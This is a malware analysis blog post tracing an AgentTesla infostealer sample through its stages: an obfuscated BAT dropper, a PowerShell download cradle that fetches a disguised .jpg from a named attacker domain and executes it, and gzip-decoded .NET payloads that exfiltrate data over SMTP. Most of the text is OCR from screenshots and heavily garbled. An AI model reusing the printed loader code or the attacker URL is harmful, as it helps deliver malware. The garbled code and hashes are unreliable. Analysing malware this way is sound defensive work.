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Agent Tesla is a widely-used remote access Trojan (RAT) known for its keylogging and data exfiltration

capabilities, often used in cyber espionage and information theft.
In this report I will Analyze an AgentTesla Sample that was uploaded to MalwareBazaar.
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Database Entry

intelligence D) 10¢s WHRAGD File information Comments

SHA256 hash: D d490022060890451.263500T0c ThHOTI0bebATBe0bTEAbIdaeIe6 12266 2a0e 2T T

SHA3-384 hash: [0 87647358chd di0casd4BhEe3bb2cddbbS6eTI7d 1 feh671bE5d20b030TALFTA 1 c41 247 4o 448430 be 2a16b520341b3a
SHA1 hash: [ 53fdebaadTel2shasleal 2231 12223 2e0e

MDS hash: (D 330c5e85/6960add801843076c33ec3b

humanhash: [} ten-hydrogen-sweet-salami

File nama: DOC202471 BAT

Download: @ download sample

Signatura ©
.Flh size: -l.'!l'BGQ b'y'tes. -

First seen: 2024-02-12 074751 UTC

MalwareBazaar — Initial Sample
Stage 1-
As usual T downloaded the file and extracted it using the password “infected”.
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<i== : Begin batch sczipt
Fochs cff

=aszipt ffnslege "h-P07.wad®
[gote) Ibnul & dal "h-00%
axkic /b |
|
I:-- = Begin wai mcEipt ===> ] |
Jobmizcript languages Jlczipt™r

|
[function [brlg, vaStyd) (vac clegribrig(); function Tedhg [thabtyd, Adogy, MihE} [rotuzn =ikt {UuSeyl-'dxlék’, Blogr); bwhile{! 1 []] {tcylvar tedhgSpazaolnt (Pedbg|0xlds, *Oxldi
[-paraelnt {Tedhg (Ox1d5, Ox140, *0x1d5"}) f0x2) spazsatat [Prdbg {0xlad, Oxlal, 0x146) ) /0x3+pazsatnt (Tedhy [ OxldE®, Oxlel, Gxlel] § fOnd+-pacantat (Tedhg (Oxldb, *Oxlde, Oxlad)] s
[pagsetnt (Triby {0xle3, "0xlda’, 0xles) } JONE) +parsslne (Tedhy (Gxled, 'Oxled”, "Oxlea’ ) /0xT* (pazselnt (Trdby {0xleS, Oxleb, Ox149)  /0u3) +-pazselnt (Trdbg ' Oxled”, "0xlad’, 'Oy
[-parssInt {Tedhy (Dxled, "OxLeB", "0xleS'})/0xa) spaEseine [Trakg {0nles, "Oxnles’ , On1E5) ) ¥ Oub® {-parssIne [Trdhg (Onlda, "0nlel"”, ON14T) | fORe) AL (Erdhg==muaStyl) beeaktalae ol
"1 r]Ichuc!\IBvDﬂHlOa-ﬂE pash’ | (T0agv] ' shife ] {01241} Iaonl( OuT 032 funocion ss0ff{h [war

TT4hge[ 131907 00veHcR" gannT, " 202 TARIT) p M= hu2t HioTonodt. VisasiBasic, InteTac®, "sll", 42 WWRuTaF", 1202661 BuzviLD", \alT,

J‘hhn;“ !"“IE“Q Lty

*.mh*] *Poworahel e d0ire=ind T,

SxdTIvxIulSyachx #2Tem.R', " :tty!&\::b-;ein\::b\xz'.‘ ) )-;.rnﬂ\zﬂTDm\:.!'J.\zz'llud\az'.' ', 125230anTwhe!, 1208 ckoGv !, 1l l0Bakeop!, bieTogUR’, teicn] 2oy
mo (2Tl TMiczcacde. V;lu.l:h::g\:&'l\.az':‘l\d? z{depgiadi-jein®, "1241 54 Epwnhna", *1T751€5002g0a", m\:&\l-mn:\z!ﬂl\xzﬂ Quut]\z!{lu::a.l\zﬂﬁﬁ‘plnﬂ SeeyEE=hR27(']4

oalEE () ;) fuserion mike (bely,uaStyd) (var zlegv=eslff} jretuzn alhe=funceion{eedhy, Rlegrh [Ledhymeedbg-0xtd; vaz Yubeyl=zlegv[tedhy] seaturn UubSeyl;], mihe (brldy, uaSupdy
maf="WFe "+ pipe"+Ee0fE{ " Ondle", "Oxdle’', Dxdla) «Eelff{Ondld, "0n4ls’, "Ond 14" ), cornBa 0L (OndlL, 'OndlL" Ondla}+"ce) roalix20e 20 (Fee\nll-4oin\n20nd T\ n2T) ; Fe 36 g nd ="
® eyfrotoooliyps], \e203072 4 by [dyetem. Her AeeviceFolntanages] 1 1Securivy P  +2e 0L [ Ondle", "0x421", "On420" 1 +Be 0L {On4LE, Ondld, "Ond1d" ) +Be 0L {04 0, ONE 10, Du )
A0 Sping 20 xI0se st -conneation\uZl-oomph nI0google S B 0L £ 0k 40B ", 0413, " ONA0a" ) SESDLE (" 0TS CONAZ0", ONA 1A} 4B OEL [ONG1T, Dorditha, T OXA0H " |+ \m2TATC AN T, A2 T e
ExIThetpe' sEe0fE (0n428, "Oudle', "Oxd 16" ) SEOE (OxA10, "Oxnd 10", "OxE16" P+ EeOdE (OO0, OG0, "Ox4LD " |47 LBanic. SallTypel i iHathed, SEnsd) 3 5mw] " S funetion Beldf (mdNt, b
mlE BT0g="0x30d" . miNE) ; brar 8new ActiveXDbject (mnfh ["Run"] iwet, Sxbh

=3 ,*m-\:ﬂ.\.:i"‘ﬂh]-\uzﬂ' hadTesixdimetx2T, \xETe Wa 2T, Ax2Teoli a2, Wud Tant) w2 T deet, |

</ acciptae/iaby

.BAT file

Just from looking at it I noticed that I’m dealing with JS and PowerShell code. I assumed that trying to
deobfuscate this .BAT file would be a waste of time. So I ran it in order to capture the PowerShell script that was

being executed.
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mr
[C] Oy shew processes still unning at end of eurrent trace

A Timelines cover displayed events enly

Frocess Descrption Image Path Lfe Time Company Crorer Come ~
£ @ msedge ene (1250 Mcroso#t Edge  Ci\Program Fies (.. [N Mocrosch Copors_. FLAREVMbar — "CP 1
(0 msedge exe (3450 Micrasoft Edge CiProgram Fies (... | Microsoft Comorat... FLAREVM'bar "CAP n.
I msedge exe (4838) Mermscfl Edge CivProgrom Fies (... [N -rosoft Comporat.., FLAREVMIBSr — COP )
2 msedge cxe (4083) Wicrosoft Edge  C:\Piogeam Fies (... [N Morosolt Coporal.. FLAREVMMbar  "COP 1.
(2 meedge e (5204) Mot e Ci\Program Fles (.. [N Mieoach Copornt.., FLAREVMbar "GP
(r)openvengul exe (5816) CivProgram Fies'.. [ FLAREVMbr TP 1
89 vinRAR exe (F016) WeRAR rchiver  C:Progam Fies'... [ Heander Foshal  FLAREVMGar  "COP [
= [ Frocmen exe (4683) Frocess Monder  Co\Tooisysrtem... [ Svsrtemals -ww.. FLAREVMba 0T }°
B Procenenfd axe (5580) Frocess Monter  Covlsers'barApo.- [N Sysitemas - ww... FLAREVMbar ol
Fufennsfid e (5356} Autostar program ... CoiTeols\eysrten... [N Sysrtemals - ww... FLAREVMibar “CAT
= [y emd exe (3672} Windows Comma__ CWindows ayst I Microasht Capers . FLAREVM bar CAMG | o8
{5 Corhost exe (3012) (Console Windom .. C:\Windews\Syst... | Microsolt Coporat_. FLAREVMbar W0l f
= W caoript exe (3052) Microsctt ® Corso,,, S Wndows'ayst Microsolt Corporat ... FLAREVM bar == -] i
= ¥ powershellexe (2256) PowerS., C:\Windows\Syst... I- Microsalt Comporat.., FLAREVMiG T [
8 Conhost exe (19681 §Conzgle Window .. CWindows'\Syst - Microsoft Comporat ., FLAREVM bar W ;

L GoogerashHandier sue (6616 | Google Crash Hon... C:\Program Fies (... RN Google LLC HT AUTHORITY,, "GP

[ GoogheCrashHandler5d eu (5024) Google Crash Han... C:\Program Fles (.. | Googbe LLC MT AUTHORITY . "C:AP )
v i
< >« 3 3
u.
Deserption:  Windows PowerShell h
Company: Micresaft Corporation
Path: CWindows System3 WindowsPowerShello B powershelLexe 1
Command: |‘C:\wmdom\Sy-slem32’\.WindomPowershalr‘w‘l.mpawershell.a:e' Snt= e, 1 [ArraykRevers I -
User FLAREVM\bar £
PiD: 2256 Started:  3/13/2024 £:55:42 PM |
Eited:  2/13/2024 5545 PM bk
Go To Evant Include Process Inelude Subtres Close E

— i ey T ——

Capture of the PowerShell code

As I suspected the PS was starting under the cmd.exe (.BAT), so I extracted it from the command line. Also its

important to note that the original BAT file was deleted after execution.

Stage 2-

Press enter or click to view image in full size

] *Untitied - Motepad - a X
File Edit Format View Help

$rt="x","e", I';[Array]::Reverse($rt);sal z ($rt -join "°);$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg="[woid","] [Syst’, em.Refle’, ction.Asse’, 'mbly]::LoadWi", 'thPartialWame(’ 'Microsoft.VisualBasic™')";z($tpg -
join *")jdo {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55="(Mew-', Obje’, ct Ne’, 't.We’, bCli’, ent) ;Stty=z($rty55 -join "");ftty;
Srot="Doun", 'load", 'Str, ing’;$rotI=(Srot -join '');$bnt="https",'://didaktik-labor.de/mx1.jpg’;$bntI=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname
($tty,$rot], [Microsoft.VisualBasic.CallType]: :Methed, $bntd);z(Smv)

Obfuscated PowerShell code that was extracted from the command line

After a little bit of dirty work I managed to Deobfuscate the PS code.

Press enter or click to view image in full size

ik Sletters = 'T','e',"'x'
3 $securityProtocoel = [System.Net.SscurityProtocolType]::iTlsl2
4 [S8ystem.Net.ServicePointManager]::3scurityProtocol = §securityProtocol
=
&
7 [System.Reflection.Assembly] : :LoadWithPartialName ('Microsoft.VisualBasic') | Out-Null
“ldo {
1 $ping = Test—Connection -ComputerName google.com -Count —Quiet
11 -} until (Sping)
$webClient = New-Cbhject Net.WebClient
SdownloadsString = loadst
ISuz:l = 'httpsi//di I

Sresult = [Microscft.VisualBasic.Interaction]::CallByName (SwebClient, §downloadString, [Microsoft.VisualBasic.CallType]::Method, Surl)

21 Sresult

Deobfuscated PowerShell code
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In summary this script downloads a new file (.JPG) and executes it.
Stage 3-

I decided to get that file on my own terms without executing it , so I curled to this path and saved the output as

« »

out

Press enter or click to view image in full size

7 | ChUsers\bm\Desktop\Stage3

“ Home Share View (7]

4|

A » Stage3 v & ¥l
Marne Date modified Type
# Quick access .
B Deskt - || out 4 715 AM File
esktop 2
Jb Downloads #

Curl to the attacker JPG path
This out file contained another obfuscated PowerShell , so I had to do more deobfuscation.

Press enter or click to view image in full size

A
El<s
This Script isnt meant to be used for bad intentions. this is for education purpases only
>
$bd="[system.3tringl::Join{""""', SuBye
Sndyee=("0114 s01110101;01101110,011A011,011101 A A 0L101111,01101110 ALAAD,D111A10,01110LA SALLI0LA Al
Bt
This Script isnt meant to be used for bad intentions. this is for education purpases only.
: 32
[Byte[]1]15y74gh00r££d=("EV1F, EVEB, EV08, EV0O0, EVD0, EVOO, EVOD, EVO0, EV04, EVOD, EVAC, EVEE, EV0T, EVIC, EVDS, EVSF, EVFC,
Sgijfdg="Lo" + "
§f1jisdd=[AppDomain] : :CurrentDomain
[oyre[]]$uWEkxGY = rt<3fgl0 §¥yT4ghd0rifd
[Byte[]]5e50y=("'EV1F, EVEB,EV08, EV00, EV0O0, EV0D, EVOO, EVO0D, EVO4, EVOD, EVEC, EVBD, EVO7, EVIC, EVSC,EVCS, EVD1, EV38, EV
Sayy = [Microsofc.VisuslBasic.Interaction]::CallSyname (5f1jadd,$gjjfdg, [Microsoft.VisualSasic.Calllype] & tMet
Y]
>
Obfuscated PowerShell

The first Var — “u8yee” was going through manipulation in which at the end it swapped “A” with “00”.
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v P free Einacy - Cybechat ® + - & %
€ O Ok gberChef v10.5.2 | Binary{'Comma'8) * 0O 2
Download Cyberchat & Lass buitd: 7 months aga Options £ About /S
Operations Recipe B mE inpu + BDE
binary P @ 1 06060,00100100,01100010,01111001,00108111, 6168600, 0151011, 00106000, 010011, 01110160, 01100161, 01630601, 011100
i 1801110910, 01100001, 01111001, 0160600, 00101001, 0B100111, 00101001, 21111160, 01 111010, 60001101, 20041010, 40001001,
o = ey 99100007, 00106000, 90100009, 09180660, 0919109, 01110003, 111000, 1016111, 01100001, 1160010, 91100012, 210E01E, 18
il AR 10109, 00192309, £9111141 02129009, ER101069, 100111, 21921130, 01 192101, 09160111, PG109069, GRIGIOLL, BUIGACE0, 291601

11,91110111, 00181181, 91001111, 81 , DILOL010, 00180111, 0, 00101011, 00100000, 00100111, B11 00101, 1A,

From Binary
’ 01110160, 00100009, 01810911, 01111091, 01116011, 61110109, 89180111, 4010 0104011, 0901 Q0160111,61100101,011

B1161,60181116, B1631631, 81861111, 60161115, B1681181, B1 189181, 6111101, B316B111, 69160680, 68151011, BO10ABES, Ba1641
13,01101111, 01110010, 91111001, 61010011, 00109111, 00100009, 80101011, 00100000, 00100111, 61110100, 01110010, 01108101,
=2 £3160091, 01191101, 00100111, 09101691, 01113189, B111161 1101,90901910, 09300009, BALEVCOR, 0010000T, 001900CE, 091
s 00000, 00100000, 09100090, 00100000, 20100000, B9100000, 00100000, 00190000, 00160100, 01101160, 0110011, 01091011, 010001

09, 01060101, 1101100, 2100 100008, 00111191, 00100009, 01691110, 01100101,01118111, 80101101, 81081111, 01100010,
- £1181012, 51180181, 51106911, 61112169, 68162280, 81618911, 111891, 91118911, 01118109, 1160181 , 81181181, 50181118, 818

£1001,01001111, 89191110, 010001

AMF Decode

BSON deseriss

.01101113, 61181161, 01110090, 01110910, 01109301, 01110011, 01118011, 8110160101011

BSON serlalise 11,81181112, 00181110, 21600111, 01111018, 01161081, 01115080, 31610611,01110100,01 116810, 01108101, 31160031, 21101101,
o61ea0n, 02108160, 1110116, 61110111, 011011860, 01601111, BIBTA110, 21010101, 01301161, B1811601, 08181160, 80106380, 691
CBOR Decode 20160,01100111, 01181011 ,01100108, 01100118, 80001101, 06081010, B0001101, Bo001016, 00100000, 00100080, B0180000, 041000
PR T e
CBOR Encoda
Output Babm:a
From BCD

function rLesFghl {o
From MessagePack «

[CodletBinding(}] o
To BCD. #aram ([byte[]] $hytearray) s

Process {a
Sghafa " ([10.Compression Conpress Loanade] s Deceapress] ) |2
o "Obfec’ + *% Systea’ + *.I0.Hea' 4

To MessagePack

Sl = {“tiee * o “tearray )*)lza

YARA Rules,
SPNABLET = (‘hie' + w-Obf’ 4 “mct Syst’ + 'em.iO.hen’
Favourites * SLAKDELD = Mew-Object System.I0.Cospression.Gz
al
ULseclpl = ("N’ + T0bf" v Tect by’ v ‘te[J{10" + '24)"} |2
Data format # = J ¥ o} )

wnilegstrue)(n
$ALGC - SIBDED Read(SUldtectpl, B, 1024
Encryption / Encoding x L

5 (SIL0C -Le 0){break)s
STEP G SOXMALDBT Wi te(SULXHECLAL, 0, SELC) e
Public Koy Auto Bake -
=T oEn e Qm Tt U

Using CyberChef to decode

Press enter or click to view image in full size

E|rnnutlon DecompressByte |
[CmdletBinding ()]
Param ([byte[]] §byteArray)

= Frocess |

SmemoryStream = Hew-Chiect System.I0.MemoryStream(SbhyteArray)

SgzipStream = flew-Object Syatem.I0.Compression.GzipStream SmemoryStream, [I0.Compression.CompressionHode
]::Decompress

SontputBuffer = New-Cbject byce[] (1024)
fmemoryStreamOntpot = New-Object Syscem.I0.MemoryStream
= while (§true} {
SbytesRead = §gripStream.Read(SoutputBuffer, 0, 102%)
if ($bytesRead -le 0) { break }
SmemoryStreamimtput.Write (SontputBuffer, 7, ShytesRead)
- 1

[byce[]] SontpntBytes = SmemoryStreamOntput.ToArray()
Write-output SountputBytes

s }

Ly

After some cleaning and deobfuscation of the code

In summary the first function is decompressing any byte array that its getting as an argument.

Get 0xMrMagnezi’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

The next 2 Vars — “y74gh00rffd” and “eSQy” are also going through manipulation just like before , just a bit
different. The letters “EV” are being replace by “0x” which is representation of Hex. In addition to this

replacement the output of this byte array is being passed to the Decoding functions.

Press enter or click to view image in full size
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Recipe BEEF npu +0O00w =
38,007,063, 0XCB, 0x3F, 0XDC, 8XC7, 0X11,8X89, 8XFE, 0X03, 8X52, 0X51,0%72,0X20, 0X03, 0X73, 0X4A, BXSE, OXBF , BXB4, €XF3, 0X05, 8X54

o e © IE 0x85,0102,04CC, 0x38, 04C5, 0x30, X0, 805, 013 ,05DF 048, 052, 0568, 0x13, OXSE, DXIC, DX16, OXA3, OXFL, X4, 004, 035, OXEB, 0
Dbt BE, BX6E,8X9A, 8x17, BXBC,BX11,8x93, BXEF, BX0B, BXOF, XE4, 837, Bx43, 8xD2, 8XF6, DXEE, BX4D, BXEA, 8X51, BXBA, @X9 1, 0X95, BXFC, BX81,
G #x64,8x24, Bx4F, BxC6, Ox3, 896, 0X28, BxAD, OxE7, BxB7, €x47, OxdB, BxD1, BxB3, BxOC, @xA3, 8xDC, 8xAB, 0x@A, BxCD, Ex23,0xCE, 8x3A, xS
7,8x74,8xD4, 8x10, Bx6A, BX53, 817, BxFS, BXBD, Bx4d, BXFY, OXGF , BX58, BX8E, 8X2E, BxF1, 8xDC, 848, 8x7D, Bx8A, BXTB, BX0S, BxE7, OXEC, 8

& *FB,0x87,0x67, 0527, 813, 0x83, 079, OxEB, Ox3F , BxB5, BxFY, 833, B2, BxAD, Bx0B, BxAA, Bxd3, 6xB6, Bx51, 853, BxdE, Bx63, Bx32, GBS

Gunzip & 1l ,8x08,8x3, 8x53, Bx1A, BxO2, Bx25 , BXED, xS, 8xDZ, BxEE, Bx1A, BXAD, Bx06, BxB4, Bx36, BxDA, BxBD, Bx72, Bx80, BxB3 , BxFE, BxE4, BxC, B

68,8xB6,9xCH,0x89, 8x3F,8xCA,8xCH, 001, Ox6A, Ox8C, 6xFD, 8x28,BxC5, Bx52, 8x49, 0x38, BXDA, BXE2, axD2, 0xA%, BxC7, Bx3E, 048, 80D,
xF1,@x47, BxAD, 0x98, 8x09, 02, 0x9C , Bx5C, 0x60, 8xC5, OXFE, Bx2D, BXGF , 8xd6, BxDA, Bx66 ,8x32, 8xBE, 0x38, 0xD9, 0x14,8x82, 0X0B, Bxd
4,0x03,0%BF , 0xCC, %62, OXBC, X34, OxBA, BX4D, BX7D, BXE1, %31, 088, BXF1, 8XE4, OXFC, 0%08, 06D, 6XC1, BXE7, BX23, BXFB, GXOE, BX0A, B
XE7,@x3C,0x08,0x71,0x78,8x54,0%06,0x26,0x28, 0284 ,0x0A, 0x63, 0x02, 8x35,0x84,0x17, 0163, 8xA7 ,8x18, 8xDF , 880, 8x00, 0x 38, 0x03
,OBF ,8x32,8xDD, Bx42, BX67 , BxFA, OXEB, BxC7 , 8xB1,0x7E , 0x0A, 0x68, 018, x99, BxB2, BX26, BX09, BX1S, OX5C, BX61, 0xC4, 8430, 0x17, %
1C,8x60,9xBE, OxER, Bx54,8x74,8x41,0x51, 0xA0, 0x82,8x31, 0x20,8x32, OxEE, 0x8E, 0xCC, Bx3D, x84, 8xE2, 0xAD, Ox00, 0xE7 ,0x5E, 0108,
BXCE, Bx54, BXDD, 8x20, BxBC, 8x44,8x54, Bx15, BXEE, 8x2D, OXDF, BXDE , BXDE, BXE7 , Bx18, BXCC,8x71, BxFA, 8x23, D7, 8x92, 8xF3, BXEE, Bx8
A,@xFD,8x2C, Bx68, Ox1F ,0xEQ, 8x37,0x27, BXE6, BXDF , BXC8, BX67, 8xBA, BxF 8, 8x2C, Ox3E, 0x48, 074, 6x2E, 0xEQ, BxB7, 8x23, BXET, 0x73,08
xAC,@8x34,8x2D, 0x0C , Bx7B, 818, 8xD3, BXCS,, BXC, 8x7F , BXER, BXF7 , BxAF ,8x05, 824D, 8x01, Bx28, 8x51 , BXCF, BXFA, BxB2, 8x89, BXAC, Bx64
,8%19,0xF2,6x05, BxFE, 8x09, 876, 8X05 , Bx00, 8xFE , 8x01, X80

383429 F 1 Tr o Bytes 4= LF

: BD@®

eswso v @ so e

This program cannot be run in DOS mode.

@

LALLL L Do som nm s ELMLALLETE

Les

A
. r@10Cruus ar sonuiswnin
v 3w~
0T us 2¢P- 4 “ciaUling+ #1cc
“imscalid” 10 4BEXDIALRBusc - avalSUTGegzl A

AlessBfonmen IHGR4niKo IE s UPIC hemie 25 4gaHIDP & 0/ AP

Q-KNP™ $abih jocrereDsn¥C$en

e/ A2 mrssirians 08 4 Qe }9o 206 G QUL +B1{ 5o v 61

U GRS =" MessEY 7¥emsUUE 16 | | &
o TR s
[ TT— ———r

ST

® 119ms  Tr fow Bytes < LF

e
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First Byte Array Decode

Press enter or click to view image in full size

Recipe Bl E  inpue + o2 8
e B e = S I e e e
From Hex & n 4,0xF4,0x17,0x8C, 0xBF, 0x83, 0ndA, OOF ,OXCE, OX66, Ox06, OxE2,0x41,0x01,0XF5, 0x02, 0x56, 0xES, 070, 0xE1, Ox4F , 0x02, @xF(, 0XTF,Q
XFA, @x13,BXAD, 8X8A, BXAA, OXBF, BXAF, €X63, BX03, BXSF , BXB4, XCS, BXTF , @x38, 872, 0x0E, BXAR, 8x7C, BXD2, 015, @XFE, BXE4, BX1C, BX38
Delimiter ,8X92, @X3F,0x89, 6x45, BX3E, BX91, BXAD, 8X34, BXC7 , BXBY , 6XCC,8X60, BX7TF ,0X72, 8XT1, BXBT, BX53, BX50, GXFB, 0X93 , BX2E, 6x89, OXBE, X

Auto 8A, x50, 8xFA, 8xAd, BXDF ,BXE3,8x 34, BXEC, x5, 857, 8x4D, 8x59, @xD2, 8x7E, 8x48, 8XCE, 0x18, 0x68, 8x95, 8xE 3, 0xD9, 8xF8, 8x44,8x79,
Bx61, 8x3F, BXBY, Bxa3, OX6E, BX61,8%B4, 0198, Bx14, 0X25, 8xB4, 8X3E, BXG7, BXB7, 8x1D, BXS6 , @X0F 818, 0XCF, BXAD, BXCD, BX18, BX2A, BXE
8,0xD4,8x88,8x4E,8xET, 8x80, BxCE,8x1E,8x3E,8x82, @x88, 8xD9,8x08,8x58,8x3E, 0xDE, 0xD7,8xC1,8x3A,8xC(3, BxBB, Bx58, 8x4A, Bx18B,@

Gunzip O I 6r, ax51, 0487, 856, 0375, BR08, D63, BxF3, BXOF , B89, B34, Bx28, BXEA, BxBA, 15, OXES, BXFS, DXFE, BX0B, 087, 027, Ax 16, Bx42, BN68
»0x40, 0x0F ,@xES, 8x00, BxB8, BxB4, @xFA, Ox6F, Bx01, Bxdd, 032, 8xAA, OxE 3, 067, 8x20, Bx9C, BxFB8, 8xET7, 8x@1, OxF4, 8xFB, 8x19,8xD5, Ox
BE, BxBF , 8x82, BXED, 8X33, BXCS, XA, XG0, BxF 8, BXEL, Bx2F , 821, 8x9E, BxBC, Bx41, 8x16, Bx51, BxF6, 816, BxC6, GxB7, Bx( 2, 0x84, BxB1,
826, BxdA, BxES, x50, Ox0E, BxAC, 859, 8x6C, BxE4, BxFF, 8xAS, 8xD0, Bx48, BxC5, 8x38, BxdE, BxB8, BuF A, 8x24, B39, GurAd, OxAT, Gxdd, BxE
3,xDE, @x08, 8x31,8x45, 8X2C, 0x5D, 0xA6, BX50, Bx35, 8x82, Ox40, 0%F3, 0%B2, 8XB8, 0440, 0408, OxF1, 0424, 8421, 8486, BXAF, BXEE, OXEC,2
48, 0MA4C,0N79,0%63, 0X5A, OXFE, OXB4, 108, OXCE, K38, 0N14, 0403, %82, Ox61,0x0E ,0x8A, BXCA, 058, 0X01,0x44,0x08, 0x 82, 099, GXEE
1809, 06, 8x7C,0x41,8x69, BXEE, @xES, BxF4, BxBC, Bx68,0:30,0xA7, 0% 78, 0x8F 8462, BXBS, BXEB, BXOA, BXCA, BX00,8x01,8xF0, 0xCF, Bx
DF ,@xDA, 8x51,8xAF ,0x10,0x95,8xAD, 8% 22, 0xDE, 0507, 8xF 2, 0x84, 0xA3, 0x44, 8xF4, OxXBT , 0xFF , 0xC1,8x47 , 0xE6, OxEF, 0x85,0x1F ,0x22,
8x1C, BxA7, Bx86, Bx7F , 0x1D, @x3F ,@xFa, 8x35, 0x48, Bx50, 8x98, 8XES, BxUF , @x3F, 8xCF, 8x2C, 8xAd, @xB2,8x78, 0xB4, 8x5B, 8x4C, BXE7, 0x@
A, 8x99,8xCC,@xCa,axC6, BxCE, Bx8E,BxE4, BXFD, BXDD, 8x45, 8xBA, 8xBF, @xD3,8x8B8, 0xB1, OxFF,8x27,8xFE, 8xBC, @XBC, Bx5D, 8xCB, OXES,
Xx7A,0xCA,8x78,0x5C, 0x22, 8xDE, 8xCA,8x73,0xFF,@x79,8x64,8xCB, 0x69, 8xBC, 8x41,8x3A, OxFF, 8xD5,8x24,8x3A,8xE5,@x87, 8xCF, 0x28
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This program cannct be run in DOS mode
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Second Byte Array Decode

I knew this process was a success as soon as I saw the “MZ” in the beginning of the file — Indication of DOS

Executable. I saved those 2 new files as .BIN files.
Stage 4-

Press enter or click to view image in full size
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hisers b \Deskinp'staged.bin
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Search v | [ Enwepy | | oxwacter [T [Tenopy | [[Extacter |
e - | oo |

Time date stamp
> | 20240211 15:5427
Endanness

21 LE
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Finding out that One file is EXE and the other is DLL — Both written in .NET

While Debugging this executable in DNSPY I noticed that I'm dealing with Info Stealer / Key Logger with more
features and capabilities.

The Data is being sent using SMTP.
Press enter or click to view image in full size

File Edit View Debug Window Help

v X SmtpPassword : string X

&

Finding SMTP Password to the attacker

Press enter or click to view image in full size

File Edit View Debug Window Help (@ § c# - P Continue
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(array);

Finding The Information about the computer that is being sent to the attacker
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Press enter or click to view image in full size
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The Mail Addresses that were found.

Source: https://medium.com/@b.magnezi/malware-analysis-agenttesla-2af3d73a7825
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